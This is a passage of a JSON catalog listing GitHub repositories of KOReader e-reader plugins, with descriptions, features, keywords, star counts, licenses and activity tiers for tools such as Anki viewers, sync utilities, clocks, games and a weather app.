etc.)"],"keywords":["koreader-plugin","study","anki","flashcards","locally","imported","apkg","decks","viewer","overview","where","put","files","basic","notes","limitations","credits","cards","shared","card","back","deck","screen","ankiviewer"],"topics":["koreader-plugin"],"stars":28,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-05T13:04:50Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4128,"detail":"detail/omer-faruq__ankiviewer.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"AlgusDark/karakeep.koplugin","owner":"AlgusDark","repo":"karakeep.koplugin","url":"https://github.com/AlgusDark/karakeep.koplugin","description":"","purpose":"A KOReader plugin to access your Karakeep bookmarks directly on your e-reader. This plugin integrates with Karakeep, a self-hostable “Bookmark Everything” app that lets you save links, notes and images with ai-generated tags them with AI—and uses Karakeep’s REST API (with HTTP Bearer JWT authentication) for secure…","categories":["web"],"features":["[x] Create Bookmarks","[x] Save links","[x] Export Highlights","[ ] Browse your bookmarks","[ ] Search bookmarks","[ ] Download bookmarks for offline access","KOReader 2025.04 or later","A running Karakeep instance (v0.25.0+)","An API key generated in Karakeep under User Settings > API Keys","Enable Karakeep under Settings > Plugins"],"keywords":["karakeep","bookmarks","prerequisites","configuration","bookmarking","links","save","access","download","server","settings","sync","under","create","export","highlights","browse","search","offline","2025","later","running","instance","api"],"topics":[],"stars":27,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2025-09-04T09:19:21Z","license":"AGPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":1508,"detail":"detail/AlgusDark__karakeep.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"anezih/bubblezoom.koplugin","owner":"anezih","repo":"bubblezoom.koplugin","url":"https://github.com/anezih/bubblezoom.koplugin","description":"KOReader plugin that enables magnifying speech bubbles in comics/manga.","purpose":"This plugin enables users to magnify a speech bubble on a comics/manga page by tapping or long pressing it. You can access the plugin's settings from the Typesetting menu (second from the left) in the top menu bar.","categories":["reading","content"],"features":["J. Sauvola and M. Pietikainen, “Adaptive document image binarization,” Pattern Recognition 33(2), pp. 225-236, 2000.…","Comic shown in the preview video: https://www.teamfortress.com/tf05_old_wounds/"],"keywords":["image-processing","koreader-plugin","comics","koreader","manga","plugin","enables","magnifying","speech","bubbles","bubble","zoom","offline","translator","integration","disclosure","references","translation","https","menu","preview","engine","enlarged","files"],"topics":["image-processing","koreader-plugin","comics","koreader","manga","plugin"],"stars":27,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2026-08-02T13:07:03Z","license":"AGPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":2157,"detail":"detail/anezih__bubblezoom.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"asxelot/wordwise.koplugin","owner":"asxelot","repo":"wordwise.koplugin","url":"https://github.com/asxelot/wordwise.koplugin","description":"Word Wise for KOReader — short definitions above difficult words, drawn as a per-page overlay on the original book.","purpose":"Shows short inline definitions above difficult words, like Kindle's Word Wise — painted as a per-page overlay on the book you're reading (no copy, no file rewrite). Difficulty is adjustable: a low hint level shows only rare/hard words, a high one also glosses more common ones.","categories":["ui","dict","device"],"features":["Kindle: /mnt/us/koreader/plugins/","Kobo: /mnt/onboard/.adds/koreader/plugins/","Android: koreader/plugins/","Desktop / emulator: /plugins/","Kindle Word Wise (personal use). If you're running the plugin on a","Wiktionary (CC BY-SA) via the Proficiency"],"keywords":["dictionary","ereader","kindle","koreader","koreader-plugin","lua","vocabulary","word-wise","word","wise","short","definitions","above","difficult","words","drawn","per-page","overlay","original","book","activate","included","bring","own"],"topics":["dictionary","ereader","kindle","koreader","koreader-plugin","lua","vocabulary","word-wise"],"stars":27,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-23T08:27:43Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4961,"detail":"detail/asxelot__wordwise.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"DucNg/digitalclock.koplugin","owner":"DucNg","repo":"digitalclock.koplugin","url":"https://github.com/DucNg/digitalclock.koplugin","description":"A digital clock for koreader, display time, date and an image","purpose":"Use your ebook as a clock with this plugin. Display time, date and an image. When running, this plugin completely disables auto suspend but it's supposed to be power efficient. You should be able to use the clock for about a week without charging if you disable all connectivity.","categories":["ui","reading"],"features":[],"keywords":["digital","clock","display","time","date","image","digitalclock","warnings","device","folder","tools"],"topics":[],"stars":27,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2026-06-02T16:37:46Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1032,"detail":"detail/DucNg__digitalclock.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"j-v/remotenote.koplugin","owner":"j-v","repo":"remotenote.koplugin","url":"https://github.com/j-v/remotenote.koplugin","description":"Take notes in KOReader on a remote device","purpose":"Adding annotations to your e-books is super useful, but typing on the on-screen keyboard of an e-ink display is cumbersome and slow. RemoteNote lets you use another device to type in notes to the passages you highlight in KOReader. It also allows you to remotely enter text into any text dialog natively found in…","categories":["ui","notes"],"features":["Remote Note: Type in notes for passages you highlight within a book","Remote Input: A \"Remote input\" button is seamlessly injected into standard KOReader text input dialogs (e.g. search boxes,…","When opening the \"Edit note\" dialog, the KOReader keyboard may occlude the bottom buttons of the dialog. This will be fixed with…","Kindle: /mnt/us/koreader/plugins/","Kobo: /.adds/koreader/plugins/"],"keywords":["koreader","koreader-plugin","take","notes","remote","device","remotenote","devices","demos","creating","note","editing","review","known","issues","configuration","port","enable","https","encryption","refresh","tls","certificates","allow"],"topics":["koreader","koreader-plugin"],"stars":27,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-02-25T21:09:21Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3714,"detail":"detail/j-v__remotenote.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Lalocaballero/solitaire.koplugin","owner":"Lalocaballero","repo":"solitaire.koplugin","url":"https://github.com/Lalocaballero/solitaire.koplugin","description":"","purpose":"","categories":["games"],"features":[],"keywords":[],"topics":[],"stars":27,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2026-03-16T11:06:30Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"active","tier":"C","tier_reasons":["has_meta","active","stub"]},{"id":"PedroMachado1/kopet.koplugin","owner":"PedroMachado1","repo":"kopet.koplugin","url":"https://github.com/PedroMachado1/kopet.koplugin","description":"","purpose":"KoPet turns your reading habit into a lightweight RPG loop inside KOReader. Read pages, care for your pet, collect items, and evolve your companion based on your real reading behavior.","categories":["ui","reading","notes","games"],"features":["Reworked game loop with sickness, medicine, and stronger survival mechanics","Intelligent evolution branches at Level 6 (Night Owl, Speedster Fox, Scholar, Standard)","Cleaner grouped menu (Care, Pet Info, Settings, Danger Zone) plus Quick Action","Updated full-screen View Pet UI with better spacing, status badges, and smoother readability","Optional low-impact pet animation optimized for e-ink","Accessories now provide small gameplay bonuses (not only cosmetic)","Daily summary and improved journal tracking","Hunger (0-100%): decays over time and must be restored with food/treats","Happiness (0-100%): affected by care actions and passive decay","Energy (0-100%): drops with reading sessions and recovers while offline"],"keywords":["kopet","virtual","pet","core","game","mechanics","vital","stats","dynamic","states","difficulty","modes","sickness","medicine","intelligent","evolution","branches","inventory","customization","menu","overview","journal","daily","summary"],"topics":[],"stars":27,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-04-18T12:38:18Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4274,"detail":"detail/PedroMachado1__kopet.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"d0nizam/syncery.koplugin","owner":"d0nizam","repo":"syncery.koplugin","url":"https://github.com/d0nizam/syncery.koplugin","description":"Cross-device reading progress, annotations, metadata and font & style sync for KOReader.","purpose":"Cross-device reading progress, annotations, metadata, and render-settings sync for KOReader. Syncery synchronises per-device reading data across all your KOReader devices — via Syncthing or cloud storage (Dropbox/WebDAV/FTP).","categories":["sync","ui","dict","library","device","files","reading","notes"],"features":["Setup & Sync Guide — start here if you're setting things up","Features","Supported devices","First-time setup","Storage modes","What Syncery syncs","Menu reference","Transports","Conflict resolution","Lifecycle events"],"keywords":["android","annotations","e-ink","ebook-reader","kindle","kobo","koplugin","koreader","koreader-plugin","koreader-plugins","metadata-sync","reading","syncthing","annotation-sync","cloud-sync","reading-progress","cross-device","progress","metadata","font","style","sync","contents","devices"],"topics":["android","annotations","e-ink","ebook-reader","kindle","kobo","koplugin","koreader","koreader-plugin","koreader-plugins","metadata-sync","reading","syncthing","annotation-sync","cloud-sync","reading-progress"],"stars":26,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-08-14T15:27:23Z","license":"NOASSERTION","default_branch":"main","has_meta":true,"readme_bytes":36959,"detail":"detail/d0nizam__syncery.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"DisastrousPatience83/Floating-Dictionary.koplugin","owner":"DisastrousPatience83","repo":"Floating-Dictionary.koplugin","url":"https://github.com/DisastrousPatience83/Floating-Dictionary.koplugin","description":"A lightweight, highly customizable floating dictionary for KOReader.  Instead of opening KOReader's full dictionary popup every time, Floating Dictionary displays a compact preview beside your selection, allowing you to continue reading without breaking your flow.","purpose":"Floating Dictionary is a plugin for KOReader that replaces the stock dictionary popup with a compact, fully customizable floating card: configurable action buttons, an in-process fast lookup engine (FastDict), a per-book \"Word Review\" spaced-repetition companion, smart highlighting, page-turn-style animations, and…","categories":["sync","ui","dict","reading"],"features":["Internal name: floatingdictionary","Package folder: floatingdictionary.koplugin","Platform: KOReader only (Kindle, Kobo, PocketBook, Android, Linux/desktop builds of KOReader — anywhere KOReader itself runs)","Overview","Feature Summary","The Floating Card","Display Modes","Popup Styles","Footer Action Buttons","Small Selection Menu"],"keywords":["lightweight","highly","customizable","floating","dictionary","instead","opening","full","popup","every","time","displays","compact","preview","beside","selection","allowing","continue","reading","without","breaking","flow","table","contents"],"topics":[],"stars":26,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-31T03:37:28Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":27490,"detail":"detail/DisastrousPatience83__Floating-Dictionary.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"kktse/dtdisplay.koplugin","owner":"kktse","repo":"dtdisplay.koplugin","url":"https://github.com/kktse/dtdisplay.koplugin","description":"A Koreader plugin to display the time and day in a fullscreen widget. Contributions welcome!","purpose":"A [koreader][1] plugin to display the time and day in a fullscreen widget. E-ink screens make nice ambient displays. I thought it useful to show the time and date when the device is charging.","categories":["ui","device"],"features":[],"keywords":["kobo","koplugin","koreader","display","time","day","fullscreen","widget","contributions","welcome","dtdisplay","motivation","testing","github","https","clock","kobo-display"],"topics":["kobo","koplugin","koreader"],"stars":26,"forks":5,"is_fork":false,"archived":false,"pushed_at":"2026-07-25T15:30:01Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":749,"detail":"detail/kktse__dtdisplay.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"renandeivison/quicksettings","owner":"renandeivison","repo":"quicksettings","url":"https://github.com/renandeivison/quicksettings","description":"koreader-plugin","purpose":"A fast, gesture-friendly control panel for KOReader. QuickSettings adds a dedicated tab to the main menu with one-tap toggles for Wi-Fi, night mode, frontlight, rotation, and more — plus smooth brightness/warmth sliders and quick shortcuts into other installed plugins, all from a single screen.","categories":["ui"],"features":["One-screen control panel — a dedicated tab in the file manager / reader menu with a grid of circular action buttons for common…","Custom slider widget — a lightweight, pill-shaped slider (built in, no external dependency) for brightness and warmth, with tap,…","Reorderable buttons — arrange the buttons in whatever order you like; hide the ones you don't use","Focus Mode — a distraction-free mode that strips down KOReader's main menu to just the tabs you actually use. See the dedicated…","Smart integrations — buttons for other plugins only appear when those plugins are actually installed","Persistent settings — button visibility, order, slider visibility, and Focus Mode preferences are saved and restored automatically","Tap the Focus Mode button to open a checklist of every tab currently available in the main menu — both the standard KOReader tabs…"],"keywords":["koreader-plugin","koreader-plugins","buttons","activated","all","quicksettings","button","icons","reference","focus","mode","requirements","special","appreciation","credits","quick","menu","file","settings","tabs","calibre","search","back","main"],"topics":["koreader-plugin","koreader-plugins"],"stars":26,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-24T19:03:42Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":7430,"detail":"detail/renandeivison__quicksettings.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Billiam/crashlog.koplugin","owner":"Billiam","repo":"crashlog.koplugin","url":"https://github.com/Billiam/crashlog.koplugin","description":"Crash log viewer for koreader","purpose":"Simple crash.log viewer for KOReader Filter log events by tag. Untagged lines will not be shown unless `All` is selected. This includes log entries printed on multiple lines (ex: when logging a table)","categories":["misc"],"features":[],"keywords":["crash","log","viewer","lines"],"topics":[],"stars":25,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-01-17T18:24:42Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":662,"detail":"detail/Billiam__crashlog.koplugin.json","activity":"dormant","tier":"B","tier_reasons":["has_meta","settled","documented"]},{"id":"ckilb/pocketbookcover.koplugin","owner":"ckilb","repo":"pocketbookcover.koplugin","url":"https://github.com/ckilb/pocketbookcover.koplugin","description":"Automatically updates the book cover which is displayed when the Pocketbook device is turned off.","purpose":"Simply copy the folder *pocketbookcover.koplugin* to */applications/koreader/plugins* on your PocketBook device.","categories":["ui"],"features":[],"keywords":["automatically","updates","book","cover","which","displayed","pocketbook","device","turned","off","logo","option"],"topics":[],"stars":25,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2025-01-05T00:17:59Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":367,"detail":"detail/ckilb__pocketbookcover.koplugin.json","activity":"dormant","tier":"B","tier_reasons":["has_meta","settled","documented"]},{"id":"Euphoriyy/derainbowify.koplugin","owner":"Euphoriyy","repo":"derainbowify.koplugin","url":"https://github.com/Euphoriyy/derainbowify.koplugin","description":"A plugin for KOReader that removes the rainbow artifacts on Kaleido 3 color e-ink displays. (Kobo Libra Color / Kobo Clara Color / Kindle Colorsoft / PocketBook Inkpad Color 3 / PocketBook Era Color / Bigme B7 Pro, etc.)","purpose":"A plugin for KOReader that adds an option to remove the rainbow artifacts produced on Kaleido 3 color e-ink screens. It is primarily useful for black and white comics/manga that use image patterns which produce these artifacts.","categories":["device"],"features":["Move the derainbowify.koplugin directory to the koreader/plugins folder on your device","You should see a new option called \"Derainbow\" on the Contrast menu when opening a document","Kindle5","KindleHF","Pocketbook","Adapted from the original amazing work done by @Its-my-right for the Pocketbook Inkpad Color 3 here","Based on the technique used in Kindle Comic Converter and the great video presentation by @axu2","Inspired by the idea from @Blendman974 to use fast fourier transforms to solve this issue","This plugin uses the following libraries for fast fourier transform implementations: kissfft, pffft, and pocketfft","The packaging system in use is based on work from ComicReader by @OGKevin"],"keywords":["koreader","koreader-plugin","color-eink","kindle","kobo","koplugin","pocketbook","bigme","boox","meebook","removes","rainbow","artifacts","kaleido","color","e-ink","displays","libra","clara","colorsoft","inkpad","era","pro","etc"],"topics":["koreader","koreader-plugin","color-eink","kindle","kobo","koplugin","pocketbook","bigme","boox","meebook"],"stars":25,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-08-09T08:12:30Z","license":"GPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":4932,"detail":"detail/Euphoriyy__derainbowify.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"MySTerY1747/KOReader-Obsidian-Sync","owner":"MySTerY1747","repo":"KOReader-Obsidian-Sync","url":"https://github.com/MySTerY1747/KOReader-Obsidian-Sync","description":"A JS script and set of utilities to import and organize KOReader highlights into Obsidian","purpose":"A JavaScript automation script that syncs your KOReader highlights to Obsidian notes with intelligent categorization and formatting.","categories":["sync","ui","files","reading","notes"],"features":["Automatically imports your latest KOReader highlights","Categorizes them based on highlight colors (quotes, funny moments, important passages, etc.)","Formats them properly in your Obsidian book notes","Tracks your reading progress by chapter","Maintains consistent note structure","KOReader","Obsidian","Obsidian QuickAdd Plugin - For running the sync script","KOReader Highlight Sync Plugin - For exporting highlights as JSON","Place the plugin in your KOReader plugins folder"],"keywords":["koreader-plugin","obsidian-md","script","set","utilities","import","organize","highlights","obsidian","highlight","sync","important","disclaimer","does","example","output","requirements","custom","menu","recommended","configure","paths","book","template"],"topics":["koreader-plugin","obsidian-md"],"stars":25,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-08T15:40:37Z","license":"MIT","default_branch":"main","has_meta":false,"readme_bytes":6671,"detail":"detail/MySTerY1747__KOReader-Obsidian-Sync.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"omer-faruq/tbrplanner.koplugin","owner":"omer-faruq","repo":"tbrplanner.koplugin","url":"https://github.com/omer-faruq/tbrplanner.koplugin","description":"TBR Planner is a KOReader plugin to help you organize and schedule your To Be Read list.","purpose":"TBR Planner is a KOReader plugin to help you organize and schedule your To Be Read list. TBR Planner lives in KOReader’s main menu.","categories":["ui","files","reading","notes"],"features":["Separate books into Wishlist (no dates yet) and Planned (with dates)","Let the plugin calculate an end date from your daily pages target","Shift a plan forward or backward while keeping the same reading duration with Keep duration","From KOReader’s main screen, open the main menu","Go to the tools menu","Tap TBR Planner (Probably on the second page)","At the top of the screen you will see three tabs","Wishlist","Planned","Calendar"],"keywords":["koreader-plugin","tbr","planner","help","organize","schedule","read","list","opening","core","concepts","ways","books","inside","adding","book","wishlist","tab","planned","directly","file","manager","working","view"],"topics":["koreader-plugin"],"stars":25,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-22T15:23:10Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":9574,"detail":"detail/omer-faruq__tbrplanner.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"reuerendo/homepage.koplugin","owner":"reuerendo","repo":"homepage.koplugin","url":"https://github.com/reuerendo/homepage.koplugin","description":"Home Page plugin for KOreader","purpose":"The plugin adds to KOReader the ability to display a screen with basic book information, a rating, reading status, and several buttons when the application starts and at the end of a book.","categories":["ui","files"],"features":[],"keywords":["koreader","koreader-plugin","home","page","homepage","screen","file","manager","settings","book"],"topics":["koreader","koreader-plugin"],"stars":25,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-11-26T13:44:39Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":629,"detail":"detail/reuerendo__homepage.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"stevenzamora1/covercalendar.koplugin","owner":"stevenzamora1","repo":"covercalendar.koplugin","url":"https://github.com/stevenzamora1/covercalendar.koplugin","description":"A KOReader plugin that displays book covers in a calendar format for reading stats","purpose":"A KOReader plugin that shows your reading history as a monthly calendar with book cover thumbnails, plus a yearly overview of everything you've read.","categories":["ui","reading"],"features":["A flat, cover-first, calendar design","Tap any day to see book details: title, author, series, reading time, pages read, and progress percentage","If you read multiple books in one day, use the arrow buttons in the popup to browse between them","Optional reading time badge on each cell","Today button jumps back to the current month, shown only when you've navigated away","Arrows in the top left move between months; swiping works too","A Year button opens twelve month rows showing the covers of every book you finished","Switch between all 12 months and 6 months at a time — the 6-month view gives you noticeably bigger covers","Arrows in the top left page through months and roll across year boundaries","Tap any month row to jump straight to that month's calendar"],"keywords":["displays","book","covers","calendar","format","reading","stats","cover","monthly","yearly","overview","finished","read","modes","configurable","opening","requirements","month","months","time","between","books","minutes","pages"],"topics":[],"stars":25,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-24T04:08:27Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2534,"detail":"detail/stevenzamora1__covercalendar.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"xZenLabs/zen-mtp","owner":"xZenLabs","repo":"zen-mtp","url":"https://github.com/xZenLabs/zen-mtp","description":"Trigger MTP file-transfer mode from Kindle home or KOReader","purpose":"ZenMTP is a tool to enter/exit `USB MTP` mode on newer Kindles. I have a Kindle scriptlet that you can run as a standalone tool. If you use KOReader, there is also an included KOReader plugin that installs the Kindle scriptlet for you and switches newer MediaTek Kindles (Scribe, 11th gen, etc.) into MTP file-transfer…","categories":["sync","device","files"],"features":["Registers a \"Zen MTP\" action in KOReader (gestures, menus)","On init: deploys payload files to the Kindle if missing or outdated (hash-verified)","On run: launches ZenMTP.sh in the background, then quits KOReader so the native Kindle MTP UI takes over","Monkey-patches AutoSuspend._schedule_kindle at require-time to guard against negative t1 delay crashes after KOReader relaunch","Deployed to /mnt/us/documents/ZenMTP/ZenMTP.sh (alongside zen.png splash)","Saves frontlight brightness, writes restore flag, launches the watcher, shows splash","Stops usbnet jobs, restarts the mtp upstart job, binds the USB gadget UDC","After healthy MTP is confirmed, writes a setup-done flag so the watcher knows MTP is fully ready","Deployed to /mnt/us/.ZenMTP/zen_mtpd.sh (separate dir, outside documents/)"],"keywords":["bash","kindle","modding","mtp","scriptlet","tweak","kindle-jailbreak","ereader","koplugin","koreader","koreader-plugin","usb","trigger","file-transfer","mode","home","zenmtp","architecture","zen","main","lua","script","restore","daemon"],"topics":["bash","kindle","modding","mtp","scriptlet","tweak","kindle-jailbreak","ereader","koplugin","koreader","koreader-plugin","usb"],"stars":25,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-26T03:02:28Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3401,"detail":"detail/xZenLabs__zen-mtp.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"KitanaCode/booknookcharms.koplugin","owner":"KitanaCode","repo":"booknookcharms.koplugin","url":"https://github.com/KitanaCode/booknookcharms.koplugin","description":"Cozy bookmark ribbon and dog-ear charms for KOReader.","purpose":"📖 Book Nook Charms for KOReader Book Nook Charms is a cozy little KOReader plugin that lets you decorate your reading screen with bookmark charms.","categories":["sync"],"features":["Open a book, then go to the KOReader Typesetting menu (second menu button at the top) and look for Book Nook Charms. It will only…","Choose ribbon bookmarks and dog-ear corner bookmarks","Use night charms for darker reading themes","Use e-ink charms for black-and-white e-reader screens","Resize, place, and use quick presets in Charm Studio","Adjust charm size in gentle 0.1x steps","Set your current charm as a day or night pair right from Charm Studio","Save favorite charms so your sweetest picks stay close","Save a charm for one book or set a default charm for everything","Set a day charm and a night charm as a pair"],"keywords":["cozy","bookmark","ribbon","dog-ear","charms","charm","night","book","nook","e-ink","studio","corner","favorite","saved","black-and-white","menu","actions","current","gesture","pair","bookmarks","default","grayscale","open"],"topics":[],"stars":24,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-19T19:36:06Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":9675,"detail":"detail/KitanaCode__booknookcharms.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Lena2309/pinpad_screenlock_plugin","owner":"Lena2309","repo":"pinpad_screenlock_plugin","url":"https://github.com/Lena2309/pinpad_screenlock_plugin","description":"","purpose":"A small plugin to enable locking the screen of KOReader with a PIN code. This work was originally based on the work of yogi81 and their plugin `screenlock_koreader_plugin`.","categories":["device"],"features":["Put the latest release of pinpadlockscreen.koplugin into the koreader/plugins directory","Activate and change your password through the menu in Settings -> Screen -> PIN Pad Lock","There's no limit to the number of digits your code may contain, but good luck if you forget your code (you'll have to dig into…","You can change the lock logo by replacing the image from the icons folder. The new icon must be SVG file and be named lock.svg","Manage PIN Code","Change PIN Code will allow you to change your code after entering your current one","Reset PIN Code will reset the code at 1234, thought for people with long codes","PIN pad lock message allows you to manage the custom message you can add to the PIN Pad. This is optional","Cancel button: a quick tap will delete a digit of the code you entered, a long hold will delete every digits"],"keywords":["koreader-plugin","koreader-plugins","pinpad","screenlock","setup","gestures","future","work","recent","code","lock","message","change","before","device","digits","without","also","current","delete","everything","reset","screen","screensaver"],"topics":["koreader-plugin","koreader-plugins"],"stars":24,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-08-07T13:12:51Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":3222,"detail":"detail/Lena2309__pinpad_screenlock_plugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"omer-faruq/wordsearch.koplugin","owner":"omer-faruq","repo":"wordsearch.koplugin","url":"https://github.com/omer-faruq/wordsearch.koplugin","description":"Word Search Puzzle Plugin for KOReader","purpose":"This KOReader plugin generates classic word search puzzles directly on your device. Each puzzle mixes horizontal, vertical, and diagonal words while heuristics spread words across directions and starting points to avoid clustering.","categories":["games"],"features":["Launch Tools → Word Search","Tap the first and last letters of a word to select it. A line is drawn behind the grid letters and highlighted when the match is…","Tap Words to view the current list (found words are struck through)","Use Show solution / Hide solution to toggle helper lines for every hidden word","A congratulatory overlay appears once every word is found","Colored highlights *(color devices only)*: Each found word gets its own color from an eight-color palette, revealed-but-unfound…","Word count: Choose 6–24 words per puzzle. Changing the count regenerates the grid","Grid size: Pick an 8×8 up to 16×16 board. The plugin automatically validates sizes and regenerates the puzzle","Grid zoom: Switch between predefined zoom levels that control the rendered cell size","Word lists: Select from bundled lists or any compatible .txt file to refresh the board with new vocabulary"],"keywords":["koreader-plugin","game","word","search","puzzle","gameplay","overview","adjustable","settings","lists","saving","continuity","credits","words","color","grid","board","list","count","each","file","found","letters","line"],"topics":["koreader-plugin","game"],"stars":24,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-08-14T16:34:34Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2701,"detail":"detail/omer-faruq__wordsearch.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"yanllsama/koreader-physical-page-sync","owner":"yanllsama","repo":"koreader-physical-page-sync","url":"https://github.com/yanllsama/koreader-physical-page-sync","description":"!!!INSTALLATION FROM HERE IS NOT POSSIBLE due to being a system app!!! A custom modification for the official KOReader statistics.koplugin that synchronizes e-reader page turns with the actual physical pages of a printed book. If you care about statistics and the real number of pages you have read, just like I do, this modification is for you!","purpose":"A custom modification for the official KOReader `statistics.koplugin` that synchronizes e-reader page turns with the actual physical pages of a printed book. If you care about statistics and the real number of pages you have read, just like I do, this modification is for you!","categories":["sync","reading"],"features":["True Physical Page Count: Lock the bottom progress bar and reading statistics to the exact number of pages in the printed version…","Smart Ninja Engine: Automatically calculates how many screen taps (page turns) equal one physical page based on your current font…","Google Books Integration: Fetch the physical page count directly from Google Books API using the book's metadata","Reset Anytime: Easily revert back to KOReader's default synthetic page calculation with a single tap","Connect your e-reader to your computer via USB (or SSH)","Navigate to your KOReader installation directory","Go to koreader/plugins/statistics.koplugin/","Locate the existing main.lua file and rename it to main.lua.bak (This is your backup)","Open any book in KOReader","Open the top menu and go to the Reading Statistics tab"],"keywords":["koreader-plugin","koreader-plugins","here","possible","due","being","system","app","custom","modification","official","statistics","synchronizes","e-reader","page","turns","actual","physical","pages","printed","book","care","about","real"],"topics":["koreader-plugin","koreader-plugins"],"stars":24,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-09T12:23:14Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2762,"detail":"detail/yanllsama__koreader-physical-page-sync.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"clach04/wallabag2.koplugin","owner":"clach04","repo":"wallabag2.koplugin","url":"https://github.com/clach04/wallabag2.koplugin","description":"KoReader plugin for Wallabag (version 2) servers","purpose":"Home page https://github.com/clach04/wallabag2.koplugin A KoReader plugin for Wallabag (version 2) servers. Makes use of the REST API documented at https://app.wallabag.it/api/doc/","categories":["web","device"],"features":["Under Android, local/koreader/plugins","Under Kindle, /koreader/plugins (under Windows mount D:\\koreader\\plugins)","for file browser view, file system","for book reader view, bookmarks","need either a real Wallabag server or (semi) compatible one such as","https://github.com/clach04/whatabagacack","https://github.com/LordEidi/wombag","https://koreader.rocks/doc/topics/Hacking.md.html","enable debug log https://github.com/koreader/koreader/issues/2530#issuecomment-500866288 - Developer options, Enable debug…"],"keywords":["ebook","epub","kobo","koreader","koreader-plugin","lua","readitlater","wallabag","servers","wallabag2","debugging","https","github","file","under","clach04","debug","enable","issues","same","view","android","local","kindle"],"topics":["ebook","epub","kobo","koreader","koreader-plugin","lua","readitlater","wallabag"],"stars":23,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2024-08-25T11:57:30Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":1408,"detail":"detail/clach04__wallabag2.koplugin.json","activity":"dormant","tier":"B","tier_reasons":["has_meta","settled","documented"]},{"id":"roygbyte/weather.koplugin","owner":"roygbyte","repo":"weather.koplugin","url":"https://github.com/roygbyte/weather.koplugin","description":"","purpose":"Did you say weather? Did you say e-reader? Did you say now? Say \"welcome\" to your new best friend, KOWeather, the lo-fidelity weather app that delivers weather conditions and forecasts to your favorite e-ink device.","categories":["ui","files"],"features":["Forecast for current day","Forecast for next 2 days","Hourly forecast for current day","Celsius and Fahrenheit (except it's not yet working!)","24- or 12-hour 